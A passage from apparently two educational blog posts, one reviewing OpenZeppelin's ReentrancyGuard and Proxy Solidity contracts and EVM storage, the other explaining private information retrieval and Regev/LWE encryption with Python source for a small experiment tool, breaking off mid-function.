the values being non-zero value makes deployment a bit more expensive, but in exchange the refund on every call to nonReentrant will be lower in amount. since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full refund coming into effect.”

edit: PaulRBerg was curious about this too.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

following is the definition of the modifier nonReentrant, which we learned above that can be utilized on inherited contracts to prevent a function from being called while this function is still executing (i.e., ensure that there are no nested/reentrant calls to them).

this modifier leverages two private functions, _nonReentrantBefore() and _nonReentrantAfter(), to ensure that any call in between (the contract execution) reverts with ReentrancyGuardReentrantCall(). in other words, any call to nonReentrant after its first call will fail as there is already a nonReentrant function in the call stack.

note that once _nonReentrantAfter() is called and _status is restored to _NOT_ENTERED, a refund can be triggered accordingly to EIP-2200. the EIP proposed a way for gas metering on SSTORE, so that subsequent storage write operations within the same call frame (such as reentry locks) can benefit from gas reduction.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i talked about MSTORE already, so it’s worth talking about the four ways the EVM stores data, depending on their context.

firstly, there is the key-value stack, where you can POP, PUSH , DUP1, or POP data. basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit 1024. stack items (both keys and values) have a size of 32-bytes (or 256-bit), so the EVM is a 256-bit word machine (facilitating, for instance, keccak256 hash scheme and elliptic-curve computations).

secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions). opcodes are MSTORE (like in Array.sol), MLOAD, or MSTORE8.

third, there is the calldata (which can be accessed through msg.data), a read-only byte-addressable space for the data parameter of a transaction or call. unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read. inline assembly functions to operate calldata are (they will be important in the next section):

• calldatacopy(t, f, s), used for opcode CALLDATACOPY, which copies a number of bytes of the transaction to memory (copies s bytes of calldata from position f to memory at position t).

• calldatasize(), tells the size of transaction data.

• calldataload(), loads 32 bytes of the transaction data onto the stack.

• additionally, returndatacopy(t, f, s) is used for opcode RETURNDATACOPY to copy s bytes from returndata at position f to memory at position t.

lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of 2^{256} slots of 32 bytes each. the opcode SSTORE is used to store data and SLOAD to load.

the required gas for disk storage is the most expensive, while storing data to stack is the cheapest.

check evm.storage for a dive deep into the storage of any contract on ethereum or avalanche and ethervm.io for a broad opcodes reference.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

what about deadlocks? what happens if a nonReentrant function calls another nonReentrant function?

because there is only a single nonReentrant guard, a nonReentrant function should always be external. the contract disclaimers that “calling a nonReentrant function from another nonReentrant function is not supported. it is possible to prevent this from happening by making the nonReentrant function external, and calling a private function that does the actual work.”

finally, the last part of the contract is the internal view function that returns true if the reentrancy guard is on:

note that ReentrancyGuard is still vulnerable to cross-contracts attacks, where the execution flow of the external call() in withdraw() could still be taken over by an attacker (e.g., if they craft an exploit that presents a misleading balances).

check this review for a more detailed cross-contract reentrancy example using Checkpoints to monitor balances, for instance, visible to AnotherContract we discussed above.

to conclude this session, let’s go over other workarounds for reentrancy attack protection:

• the checks-effects-interaction pattern:

  • a technique to organize statements in a function so that the state remains valid before calling other contracts.

  • basically, every statement is classified as either check (contract’s state change), effect (blockchain state change and writing to storage), or interaction, and must be in this exact order.

  • however, this technique is prone to human error and would not work for multi-contract situations.

• using intermediary escrows (pull payments):

  • instead of sending funds to a receiver, they could be “pulled” out of an escrow contract.

  • openzeppelin implements this pattern in the PullPayment contract.

• setting gas limits by utilizing transfer() or send() instead of call():

  • the fallback() function in any contract is triggered by transfer() or send() .

  • these functions only allow the receiver a stipend of 2300 gas sent that can be utilized in the execution of the contract, which is not enough to perform reentrancy attacks.

  • however, this argument has been debated by many advocates of stopping using transfer(), as gas/opcode pricing is not stable (this was touched on in the EIP-1884 implementation).

100. proxy/

|----- proxy/
      |
      |----- ERC1967/
      |----- beacon/
      |----- transparent/
      |----- utils/
      |----- Clones.sol
      L----- ✨👀✨Proxy.sol

proxy/ contracts provide a low-level implementation suite for different proxy patterns with and without upgradeability.

in another post, i will go over more details about different types of upgradeable proxies. today, we will take a quick look at Proxy.

proxy/Proxy.sol

the main gist of the abstract contract Proxy is to provide a fallback() function that delegates all calls to another contract using the EVM opcode DELEGATECALL.

Proxy does not contain any state variable and starts directly with the internal virtual function _delegate(), which runs inline assembly to delegate the current call to a second contract (given by implementation):

let’s see what the low-level code is doing:

1. first, it takes full-control of memory to copy msg.data , writing at position 0.

2. then call implementation (the second contract address) with delegatecall() and copy the returned data.

3. finally, revert if result is 0 (meaning an error) or return the data.

next, the fallback() function delegates the current call to the address returned by the internal virtual _implementation() function (an overridden function returning the address fallback() should delegate).

the fallback() function will return directly to the external caller, i.e., success and return data of the delegated call is returned to the caller of the proxy.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i mentioned the opcode DELEGATECALL before when talking about view modifiers for library.

delegatecall() is the low-level function for this opcode, similar to call().

basically, when a contract A executes delegatecall() to contract B, B’s code is executed with contract A’ s storage, msg.sender, and msg.value.

to learn more about how attackers can exploit DELEGATECALL, check my writeup for ethernaut’s delegation.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

◻️ motherofbots.eth

today i go over a tool i wrote to learn and run simple experiments on PIR (a fascinating research subject in cryptography).

here is the source code.

this particular research is highly based on the work of alexandra henzinger on SimplePIR/DoublePIR and janmajaya mall’s zuzalu demo.

if you are advanced in the subject already, here is an excellent presentation by alexandra (at the simons institute, a foundation from quant-father jim simons, which also sponsored part of my research in my phd in physics):

👾 today’s outline

0000. introduction to pir and this work
0001. magick-py, a tool for simple PIR 
0010. setting up magick-py 
0011. experiment I: linear key regev encryption with sampled error
0100. experiment II: linear key regev encryption with a scaled message
0101. experiment III: proving the scheme is additive homomorphic
0110. experiment IV: proving the scheme supports plaintext inner product
0111. experiment V: a very simple pir setup without encryption
1000. experiment VI: a full secret key regev PIR experiment
1001. concluding thoughts

🎶 today’s mood

https://open.spotify.com/track/5jETivOoz9oNxVgNSHJmuU?si=2154f67fd5d7459b

0000. introduction to private information retrieval, lattice-based cryptography, and fully homomorphic encryption schemes

what’s PIR

private information retrieval (PIR) was first introduced in 1995 by b. chor et al. and refers to the ability to query a database without revealing which item is looked up or whether it exists, by using cryptography primitives.

it’s a pretty cool technology. once PIR becomes less expensive or prohibitive (i.e., cheaper computation with a small cipher, as PIR inherently has a high cost for server-side computation), these are some of the possible applications that could utilize the protocol:

• searching IP databases: when filing a new IP, the author must search the IP database to check that no previous entry significantly overlaps with their invention. PIR could allow the search to be performed without leaving search terms on the query log of the IP database.

• real-time asset quotes: investors interested in a particular asset often monitor the market to determine when to purchase. PIR could allow their interest to be confidential.

• safe browsing and private oracles, checking passwords over breached databases (or any type of credentials), certificate transparency (CT) checks, certificate revocation checks, among many others.

by the way, PIR schemes are generally divided into single-server schemes and multiple-server schemes (which allows you to remove the trust from a subset of the servers).

in this research, we will look at simple single-server PIR protocol setups, where a server holds an embedded database D represented by a n x n square matrix (whose elements are under a constant modulo), and a client wants to privately read the ith database item (Di, with n elements) without letting the server learn about i.

interlude: lattice-based cryptography and group theory

the subject of PIR is also a subset of the broad topic of lattice-based cryptography, which refers to a series of quantum-resistant cryptographic primitives that involve lattices, either in their construction or in the security proof.

💡 Over an n-dimensional vector space, a lattice is an infinite set of points represented by a collection of vectors.

if you need an introduction to quantum cryptography, check out my (uber-old and outdated) def con ‘16 talk:

💡 in group theory, a lattice in the R^n is an infinite set of points in this space in which coordinate-wise addition or subtraction of two points produces another point, so every point in the space is within some maximum distance of any lattice point.

a lattice can also be described as a free abelian (commutative) group of dimension n, spanning the vector space R^n; or the symmetry group of a discrete translation symmetry in n directions.

if you would like to learn more about group theory, especially in a language for physicists, here is a free and open-source graduate book i wrote back when i was a student.

homomorphic encryption schemes

before we start, we need to review the concept of homomorphic encryption.

suppose a server that can XOR some client’s data. the client would send their cipher c0, obtained from their plaintext data m0 and their key k0:

c = m0 ⌖ k0

homomorphism is the property that if a client sends two encrypted messages, c1 and c2 (from messages m0 and m1, respectively), the server can return c1 ⌖ c2 so the client can retrieve m0 ⌖ m1.

additive homomorphism occurs when, given two ciphertexts (a0, c0) and (a1, c1), their sum (a0 + a1, c0 + c1) decrypts to the sum of the plaintexts (provided that the error remains sufficiently small).

partially homomorphic encryption can be easily achieved as it accepts the possibility that not all data is encrypted (or homomorphic) through other operations (such as multiplication).

fully homomorphic encryption (FWE), which is much harder to achieve, would occur if a server operated on encrypted data without seeing ANY of its content.

💡 *in a more formal definition, homomorphic encryption is a form of encryption with evaluation capability for computing over encrypted data without access to the secret key, i.e., supporting arbitrary computation on ciphers. fully homomorphic encryption could be defined as the evaluation of arbitrary circuits of multiple types of (unbounded depth) gates (relevant to zero-knowledge proof setups). vitalik’s talks about homomorphic encryption in this post.*

learning with errors (LWE)

a subsequent important progress in the the field was a 2005 seminal paper, where oded regev introduced the first lattice-based public-key encryption scheme, and the learning with errors (LWE) problem.

the LWE problem relies on the hardness of distinguishing between a message with added noise and a random sample. it can be thought of as a search in a (noisy) modular set of equations whose solutions can be very difficult to solve. in other words, given m samples of coefficients (bi, ai) in the linear equation bi = <ai, s> + ei, with the error ei sampled from a small range [-bound, bound], finding the secret key s is "hard".

note, however, that LWE-based encryption schemes have a significant drawback due to noise growth. as the ciphertexts produced by these schemes are noisy encodings of the plaintext, homomorphic operations between ciphertexts increase the magnitude of the noise. if the noise exceeds a certain threshold, the correctness of the decryption may no longer hold. despite this problem, regev encryption can be very efficient for PIR as it is additively homomorphic.

in the past decades, regev's security proof and the LWE scheme's efficiency have been the subject of intense research among cryptographers, including craig gentry's thesis on the first fully homomorphic encryption scheme (2009).

a simple implementation of the PIR protocol

a PIR protocol aims to design schemes that satisfy privacy and correctness constraints while achieving the minimum possible download cost.

💡 the download cost of a PIR scheme is defined as the total number of bits downloaded by the user from all the databases, normalized by the message size. the PIR rate is defined as the reciprocal of the PIR download cost.

one possible implementation approach is to choose a suitable polynomial and then have a single server preprocess the data. this preprocessing depends only on the database D and the public parameters of the regev encryption scheme, so that the server can reuse the work across many queries from many independent clients.

after the preprocessing step, to answer a client's query, the server must compute only roughly N 32-bit integer multiplications and additions on a database of N bytes. the catch is that the client must download a hint matrix about the database contents after this preprocessing.

therefore, a simple serve PIR scheme would comprise two phases:

• the offline phase, with pre-computations and the exchange of hints, and

• the online phase, with the query processing on the server and response decoding on the client.

the practicality of PIR-based applications is primarily impacted by the query processing time and the hint exchange phase. the theoretical query size grows as the square root of the number of field elements representing the database. for example, the largest query size for a database of 32 GB is around 600 KB.

why PIR is still not feasible

although modern PIR schemes require surprisingly little communication and the protocol works well enough at smaller scales, the time needed to scan it grows proportionally as the database grows. for bigger databases, the process becomes prohibitively inefficient (fetching a database record grows only polylogarithmically with the number of records, N).

after preprocessing the database, the server can answer a query in time sublinear in N. thus, the current hard limit on the throughput of PIR schemes is the ratio between the database size and the server time to answer a query (the speed with which the PIR server can read the database from memory).

finally, it's important to note that PIR protocols do not ensure data integrity or authentication. an authenticated PIR scheme could combine an unauthenticated multi-server PIR scheme with a standard integrity-protection mechanism, such as merkle trees.

in this approach, PIR servers download the data from the blockchain to construct PIR databases. for each database, the PIR server creates a description file (usually called a manifest file). the user collects all available block headers and fetches the manifest files from the PIR servers to query the PIR database later efficiently.

"simple and fast single-server private information retrieval", by alexandra henzinger et. al (2022)

• this paper introduces a design for SimplePIR, the fastest single-server PIR scheme known to date.

• the security is held under a Learning with Errors scheme that requires no polynomial arithmetic or fast fourier transforms. regev encryption gives a secret-key encryption scheme that is secure under the LWE assumption.

• to answer a client’s query, the server performs fewer than one 32-bit multiplication and one 32-bit addition per database byte, achieving 10 GB/s/core server throughput.

• the first approach to query a 1 GB database demands the client to first download a 121 MB "hint" about the database contents. then, the client can make any number of queries, each requiring 242 KB of communication.

• the second approach shrinks the hint to 16 MB. then, the following queries demand 345 KB of communication.

• finally, the scheme is applied, together with a novel data structure for approximate set membership, to private auditing in certificate transparency. the results can be compared to google chrome’s current approach, with 16 MB of downloads per month, and 150 bytes per TLS connection.

this work: my illustration of simplePIR

in our code, the single-server database is represented by a square matrix (m x m), while a query is a vector filled by 0s except at the asking row and column (m x 1). any result should have the same dimension as the query vector (i.e., the space is reduced to the size of the column where the data is located).

the server retrieves the queried item by:

1. looping over every column and multiplying their values to the value in the same row of the query vector, and

2. adding the values found in each column in its own matrix.

a secret key regev encryption scheme using sampled errors to reproduce LWE is then built on top of the ideas above. privacy is guaranteed by checking that fully homomorphic encryption is held with respect to addition in this setup (i.e., additive homomorphism).

the rest of this article

now that we have some context, we are ready to do some coding and math.

in the following sections, i will be illustrating a simple single-server PIR setup with LWE, built on several progressive experiments:

1. running a simple linear key regev encryption experiment with sampled error

2. running a simple linear key regev encryption experiment with a scaled message

3. proving that the regev scheme is additive homomorphic

4. proving that the regev scheme supports plaintext inner product

5. running a very simple pir setup (without encryption)

6. running the full secret key regev PIR experiment

0001. magick-py, a CLI tool for simple PIR

we will now be building the parts of the tool i wrote to help understand how PIR can work. i call it magick:

primitive classes for message and regev encryption

before we jump into the experiments, let’s take a look at the main parts of magic-py’s source code:

more specifically, we want to look at the primitive classes.

this is how Message() in message.py looks:

class Message:

    def __init__(self, mod=None, rows=None, cols=None, message=None):
        """Initialize a message vector"""

        self.mod = mod
        self.rows = rows
        self.cols = cols
        self.message = message


    ############################
    #      Private methods 
    ############################

    def _check_dimensions(self, other_msg) -> None:
        """Check the dimensions of two matrices"""

        if self.rows != other_msg.rows or self.cols != other_msg.cols:
                log_error(f'Matrices have different dimensions:')
                exit_with_error(f'{self.rows}x{self.cols} and {other_msg.rows}x{other_msg.cols}')

    def __add__(self, vector):
        """Add two matrices"""

        self._check_dimensions(vector)
        
        for i in range(len(self.message)):
            self.message[i] = (self.message[i] + vector.message[i]) % self.mod

        return self

    def __sub__(self, vector):
        """Subtract two matrices"""

        self._check_dimensions(vector)

        for index in range(len(self.message)):
            self.message[index] = (self.message[index] - vector.message[index]) % self.mod
        
        return self

    def __mul__(self, vector):
        """Multiply two matrices"""

        this_vector = [0] * (self.rows * vector.cols)
        for i in range(self.rows):
            for j in range(self.cols):
                for k in range(vector.cols):
                    this_vector[i * vector.cols + k] = (this_vector[i * vector.cols + k] + \
                                                       (self.message[i * self.cols + j] * \
                                                       vector.message[j * vector.cols + k])) % self.mod
        
        return Message(self.mod, self.rows, vector.cols, this_vector)
    
    def __eq__(self, vector):
        """Check if two matrices are equal"""

        return (self.rows == vector.rows) and \
               (self.cols == vector.cols) and \
               (self.message == vector.message)

    def __repr__(self):
        """Print the message vector"""

        return f'\nRows: {self.rows}\nCols: {self.cols}\nVector: {self.message}\n'


    ############################
    #     Public methods 
    ############################

    def calculate_scaling(self, numerator, denominator, this_mod):
        """Calculate the scaled message vector"""

        this_vector = [0] * (self.rows * self.cols)

        for i in range(len(self.message)):
            this_vector[i] = round((numerator * self.message[i]) / denominator) % this_mod

        return Message(this_mod, self.rows, self.cols, this_vector)

    def set_query_element(self, row, col, value) -> None:
        """Set the value at a particular index"""

        self.message[row * self.cols + col] = value
        
    def get_query_element(self, row, col) -> int:
        """Get the value at a particular index"""

        return self.message[row * self.cols + col]


    ############################
    #     Static methods 
    ############################

    @staticmethod
    def create_random_message(mod, rows, cols): 
        """Create a random message vector"""

        return Message(mod, rows, cols, [random.randint(0, mod - 1) for _ in range(rows * cols)])

    @staticmethod
    def create_zero_message(mod, rows, cols): 
        """Create a zero message vector"""

        return Message(mod, rows, cols, [0 for _ in range(rows * cols)])

    @staticmethod
    def calculate_sample_error(bound, mod, rows, cols): 
        """Create a random error message vector"""

        return Message(mod, rows, cols, [sample_error(bound) % mod for _ in range(cols * rows)])

and this is how Regev() in regev.py looks:

class Regev():

    def __init__(self):

        self.mod = None
        self.n = None
        self.m = None
        self.p = None
        self.bound = None
        self._load_env_parameters()

    ############################
    #      Private methods
    ############################

    def _load_env_parameters(self) -> None:
        """Load environment variables"""

        env_vars = load_config()
        self.mod = int(env_vars['mod'])
        self.n = int(env_vars['n'])
        self.m = int(env_vars['m'])
        self.p = int(env_vars['p'])
        self.bound = int(env_vars['bound'])


    ############################
    #      Public methods
    ############################

    def print_results(self, m0, m1, m0_string, m1_string) -> None:
        """Print the results of the experiment"""

        if m0 == m1:
            log_info(f'Original msg was successfully retrieved!\n')
        else:
            log_error(f'Original msg was not retrieved.')

        log_info(f'{m0_string}: {m0}\n')
        log_info(f'{m1_string}: {m1}\n')
        log_info(f'Parameters: \nmod: {self.mod} \nn: {self.n} \nm: {self.m} \np: {self.p} \nbound: [-{self.bound}, {self.bound}] \n')

    def print_noise_growth(self, m0, m1, noise_growth) -> None:
        """Print the noise growth"""

        log_info(f'Correct decryption for Delta / 2: {(self.mod / self.p) / 2}? {m0 == m1}')
        log_info(f'Noise growth: {noise_growth.message[0]}')

    def create_secret_key(self, this_mod=None, msg_n=1):
        """Create a secret key vector"""

        if this_mod is None:
            this_mod = self.mod

        return  Message.create_random_message(this_mod, self.n, msg_n)

    def create_message_setup(self, this_m=None, this_n=None, this_mod=None, msg_n=None):
        """Create a message vector setup"""
        
        if this_mod is None:
            this_mod = self.mod
        
        if this_m is None:
            this_m = self.m
        
        if this_n is None:
            this_n = self.n
        
        if msg_n is None:
            msg_n = 1

        # message vector of size `m`, where each element has a modulus `mod`
        m0= Message.create_random_message(this_mod, self.m, msg_n)

        # public    
        A = Message.create_random_message(self.mod, self.m, self.n)

        # error vector
        e = Message.calculate_sample_error(self.bound, self.mod, self.m, msg_n)

        return m0, A, e

    ############################
    #      Static methods
    ############################

    @staticmethod
    def calculate_encryption(A, s, e, m0):
        """
            Encrypt this message with a simple `B = A * s + e + m0`, 
            where `s` is the secret and `e` is the error vector.
            Set the cipher as the tuple c = (B, A).
        """

        B = (A * s) + e + m0
        return (B, A)

    @staticmethod
    def calculate_decryption(s, c):
        """ 
            Calculate the decryption of a ciphertext, given c
            and a secret, such that m1 = m0 + e.
        """

        B = c[0]
        A = c[1]
        return B - (A * s)

in the subsequent sections, we review each experiment's code and results. but first, let me show you how you can set up the tool.

0010. setting up magick-py

install the requirements in a virtual environment with:

python3 -m venv venv
source venv/bin/activate
make install_deps

create a .env file and set the environment variables and parameters.

LWE parameters are:

• size of msg vector, m and n

• message’s modulo mod and p

• a work around the sampling errors (i.e., the standard variation sigma of a Gaussian distribution with zero mean sigma) by setting a bound range for them

you should also take a look at lattice-estimator to learn how to make security estimates for LWE parameters.

finally, install magick with:

make install

0011. experiment I: simple linear encryption and decryption of a msg vector with a sampled error vector

in this simple experiment of learning with error (LWE), we operate our message vector over a ring modulo mod, so some information is lost. luckily, gaussian elimination can still be used to recover the original message vector as it works over a ring modulo mod.

the method for this experiment can be found at experiments/simple_encryption.py:

def linear_secret_key_regev_encryption_with_error() -> None:
    """ 
        This method runs a secret key Regev encryption and decryption 
        experiment for a msg vector with a sampled error vector.

        In this simple example of learning with error (LWE), we operate
        our message vector over a ring modulo mod, such that some
        information is lost. This is not a problem since gaussian elimination
        can be used to recover the original message vector (i.e., it works
        over a ring modulo mod).

        We represent the message vector m0 of size m where each element is
        modulus mod. The cipertext c is B = A * s + e + m0, which can be
        decrypted as c = (B, A).
    """

    ########################################################################
    # 1. Key generation
    ########################################################################
    regev = Regev()
    m0, A, e = regev.create_message_setup()
    s = regev.create_secret_key()

    ########################################################################
    # 2. Encryption by calculating B and ciphertext c
    ########################################################################
    c = regev.calculate_encryption(A, s, e, m0)

    ########################################################################
    # 3. Calculate the decryption of the ciphertext c
    ########################################################################
    m1 = regev.calculate_decryption(s, c)

    ########################################################################
    # 4. The message vector m1 should be equal to m0 plus the error vector e
    ########################################################################
    regev.print_results(m0, m0 + e, 'm0', 'm0 + e')

simply put, these are the steps of this experiment:

1. represent a message vector m0 of size m, where each element has modulo mod.

2. encrypt this message with a simple B = A * s + e + m0, where s is the secret and e is an error vector.

3. set the ciphertext as the tuple c = (B, A).

4. decrypt c = (B, A) for a given s, such that m1 = m0 + e.

here is an example of an output:

0100. experiment II: secret key regev encryption by scaling a message vector

in this another simple example of learning with error (LWE), we lose information on the least significant bits by adding noise, i.e., by scaling the message vector (before adding it to encryption) with:

delta = mod / p

then, during the decryption, we scale the message vector back by:

1 / delta

the scaling ensures that m is in the highest bits of the message vector, without losing information by adding the error vector e.

consequently, the message m0 vector has each element modulo p (not mod), where p < q.

the scaled message is

m0_scaled = m0 * delta = m0 * mod / p

the ciphertext c is

B = A * s + e + m0_scaled

which can be decrypted as

 c = (B, A)

here is the source code:

def linear_secret_key_regev_encryption_scaled() -> None:
    """ 
        This method runs a secret key regev encryption and decryption experiment
        for a msg vector with a scaled msg vector.

        In this another simple example of learning with error (LWE), we loose
        information on least significant bits by adding noise, i.e., by scaling 
        the message vector by delta = mod / p before adding it to encryption. 
        Then, during the decryption, we scale the message vector by 1 / delta.

        The scaling ensures that m is in the highest bits of the message vector,
        without losing information with the addition of the error vector e.

        Now, the message m0 vector has each element module p (not mod), where
        p < q. The scaled message is now m0_scaled = m0 * delta = m0 * mod / p.
        The cipertext c is B = A * s + e + m0_scaled, which can be decrypted as
        c = (B, A), i.e., m0 = (B - A * s) / delta = (delta * m0 + e) / delta.
    """

    ########################################################################
    # 1. Key generation
    ########################################################################
    regev = Regev()
    m0, A, e = regev.create_message_setup(this_mod = regev.p)
    s = regev.create_secret_key()

    ########################################################################
    # 2. Scale message vector by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(regev.mod, regev.p, regev.mod)

    ########################################################################
    # 3. Encryption by calculating B and ciphertext c
    ########################################################################
    c = regev.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # 4. Calculate the decryption of the ciphertext c
    ########################################################################
    m1 = regev.calculate_decryption(s, c)

    ########################################################################
    # 5. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    scaled_m1 = m1.calculate_scaling(regev.p, regev.mod, regev.p)

    ########################################################################
    # 6. The message vector m0 should be equal to m1
    ########################################################################
    regev.print_results(m0, scaled_m1, 'm0', 'scaled m1')

here is an example of an output:

0101. experiment III: proving that the secret key regev encryption scheme supports additive homomorphism

we saw that additive homomorphism means that if c0 is the encryption of m1 under secret key s and c2 is the encryption of m2 under the same secret key s, then c0 + c1 is the encryption of m0 + m1 under s.

for a large number of ci, noise can be introduced from error, so the correctness of the results will depend on the values of m, n, mod, and p, such that:

|sum ei| < mod / (2 * p)

here is the source code for this experiment:

def additive_homomorphism() -> None:
    """ 
        This method proves that the secret key Regev encryption scheme is
        additive homomorphic, i.e., if c0 encrypts m0 and c1 encrypts m1,
        both under s, then c0 + c1 decrypts to m0 + m1. 
    """

    ########################################################################
    # 1. Key generation for two independent messages m0 and m1
    ########################################################################
    
    r0 = Regev()
    m0, A0, e0 = r0.create_message_setup(this_mod = r0.p)

    r1 = Regev()
    m1, A1, e1 = r1.create_message_setup(this_mod = r1.p)

    s = r0.create_secret_key()

    ########################################################################
    # 3. Scale message vectors by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(r0.mod, r0.p, r0.mod)
    scaled_m1 = m1.calculate_scaling(r1.mod, r1.p, r1.mod)

    ########################################################################
    # 4. Encryption by calculating B and ciphertext c for each message
    ########################################################################
    c0 = r0.calculate_encryption(A0, s, e0, scaled_m0)
    c1 = r1.calculate_encryption(A1, s, e1, scaled_m1)

    ########################################################################
    # 5. Add the ciphertexts, with c2 = c0 + c1
    ########################################################################
    c2 = (c0[0] + c1[0], c0[1] + c1[1])

    ########################################################################
    # 6. Decrypt the sum of the ciphertexts
    ########################################################################
    r2 = Regev()
    m2 = r2.calculate_decryption(s, c2)

    ########################################################################
    # 5. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    scaled_m2 = m2.calculate_scaling(r2.p, r2.mod, r2.p)

    ########################################################################
    # 6. The sum of the message vectors m0 and m1 should be equal to m2
    ########################################################################
    r2.print_results(m0 + m1, scaled_m2, 'm0 + m1', 'm2')

here is an example of an output:

0110. experiment IV: proving that the secret key regev encryption scheme supports plaintext inner product

this experiment shows that given a cipher c and a message vector m0, c -> c1 can be transformed such that it also encrypts the inner product of m0 with a plaintext vector k of size m and element modulo p.

because of noise growth with the vector k, fine-tuning the initial parameters is crucial for the message to be successfully retrieved. as you will see in the snippet below, to guarantee correct decryption, the following must hold:

k * e0 < mod / (2 * p)

here is the source code:

def plaintext_inner_product() -> None:
    """ 
        This method proves that the secret key Regev encryption scheme is
        supports plaintext inner product, i.e., if c0 encrypts m0 and c1
        encrypts m1, both under s, then c0 * c1 decrypts to m0 * m1.
    """

    ########################################################################
    # 1. Key generation
    ########################################################################
    r0 = Regev()
    m0, A, e = r0.create_message_setup(this_mod = r0.p)
    s = r0.create_secret_key(this_mod = r0.p)

    ########################################################################
    # 2. Scale message vector by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(r0.mod, r0.p, r0.mod)

    ########################################################################
    # 3. Encryption by calculating B and ciphertext c
    ########################################################################
    c = r0.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # 4. Calculate a plaintext vector transposed k and then scale it by
    #    delta = mod / p
    ########################################################################
    rk = Regev()
    k = m0.create_random_message(rk.p, 1, rk.m )
    scaled_k = m0.calculate_scaling(1, 1, rk.mod)

    ########################################################################
    # 5. Calculate the noise growth 
    ########################################################################
    noise_growth = scaled_k * e

    ########################################################################
    # 6. Define the ciphertext of the inner product of m0 and k
    ########################################################################
    c1 = (scaled_k * c[0], scaled_k * c[1])

    ########################################################################
    # 7. Decrypt the ciphertext of the inner product of m0 and k
    ########################################################################
    m1 = r0.calculate_decryption(s, c1)

    ########################################################################
    # 8. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    m1_scaled = m1.calculate_scaling(r0.p, r0.mod, r0.p)

    ########################################################################
    # 9. Scale back the plaintext vector k by 1/ delta = p / mod
    ########################################################################
    scaled_scaled_k = scaled_k.calculate_scaling(1, 1, rk.p)

    ########################################################################
    # 10. The message vector m1 scaled should be equal scaled k * m0
    ########################################################################
    r0.print_results(m1_scaled, scaled_scaled_k * m0, 'scaled m1', 'scaled k * m0')

    ########################################################################
    # 11. Print results on noise, decryption fails when noise > delta / 2 
    ########################################################################
    rk.print_noise_growth(m1_scaled, scaled_scaled_k * m0, noise_growth)

here is an example of a successful decryption:

now, changing MOD_P from 10 to 100, we see a failed decryption case, showing how noise growth can interfere with the results:

0111. experiment V: run an intro tutorial on how PIR should work (without encryption)

in this experiment, we get the first taste of how PIR works, but without encryption yet.

to do that, we define our server’s database by a square vector of size m x m, with each entry modulo p.

we query a value at a specific row r and col c in plaintext, by creating a query vector of size m x 1 that is filled with 0, except for the desired column index c.

we then show that computing the dot product of the database vector to the query vector will give a result vector with all rows in the column index c, where you can retrieve the row r.

here is the source code, located at experiments/simple_pir.py:

def no_encryption_example() -> None:
    """
        Run a tutorial presenting the logic of a PIR experiment 
        without encryption.
    """

    ########################################################################
    # 1. Represent a database as a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    log_debug('In this PIR tutorial, we represent a database as a square matrix, ' + 
        'where columns are the database entries and rows are the database attributes.')
    
    log_debug('We start the class Message(), creating a random database ' +
                    'with mod 500, and 20 entries and 20 attributes.\n')

    msg = Message()
    db = msg.create_random_message(500, 20, 20)
    
    log_debug(f'db: {db}\n')

    ########################################################################
    # 2. Create some random query value for row and column
    ########################################################################
    log_debug('Now, let\'s create a random query value for row and column. ' +
                                            'Say, row 10 and column 10.')
    
    query_row = 10
    query_col = 10

    log_debug(f'query_row: {query_row}, query_col: {query_col}\n')

    ########################################################################
    # 3. Create a message that is 5 at the query column and 0 elsewhere
    ########################################################################
    log_debug('Let\'s create a query message vector, of size 500, that is 1 at ' +
                                            'the query column and 0 elsewhere.')
    query = msg.create_zero_message(500, 20, 1)
    query.set_query_element(query_col, 0, 1)

    log_debug(f'query vector: {query.message}')

    ########################################################################
    # 4. Compute resulting message vector
    ########################################################################
    log_debug('Let\'s compute the resulting message vector, which is the ' +
                               'dot product of the database and the query.')
    
    result = db * query
    log_debug(f'result = db * query: {result}\n')

    ########################################################################
    # 5. Compute msg retrieved from the database
    ########################################################################
    log_debug('Finally, let\'s compute the message retrieved from the database, ' + 
                    'by getting the element at the query row and column.')
    log_debug(f'db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}\n')

    log_debug('This should be the same as the result message vector element at the query row.')
    log_debug(f'result.get_query_element({query_row}, 0): {result.get_query_element(query_row, 0)}\n')

    correct_retrieval = result.get_query_element(query_row, 0) == \
                        db.get_query_element(query_row, query_col)

    log_info(f'Are they the same? Did we get a correct retrieval? {correct_retrieval}')

here is an example of an output:

1000. experiment VI: run a simple PIR experiment with secret key regev encryption

we are ready to run our first full PIR experiment, where we build a query vector as in the previous experiment, but encrypt it using the secret key s from the regev encryption scheme.

here is the source code:

def secret_key_regev_example() -> None:
    """Run a secret key Regev encryption and decryption PIR experiment."""
    ########################################################################
    # 1. Represent a database as a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    
    regev = Regev()
    msg = Message()

    log_debug('1. We start creating a random message vector ' + 
                                 'as a square m x m database with mod p')
    
    db = msg.create_random_message(regev.p, regev.m, regev.m)
    log_debug(f'db: {db}\n')

    ########################################################################
    # 2. Create some random query value for row and column
    ########################################################################
    log_debug('2. Now, let\'s create a random query value for row and column.')
   
    query_row = 5
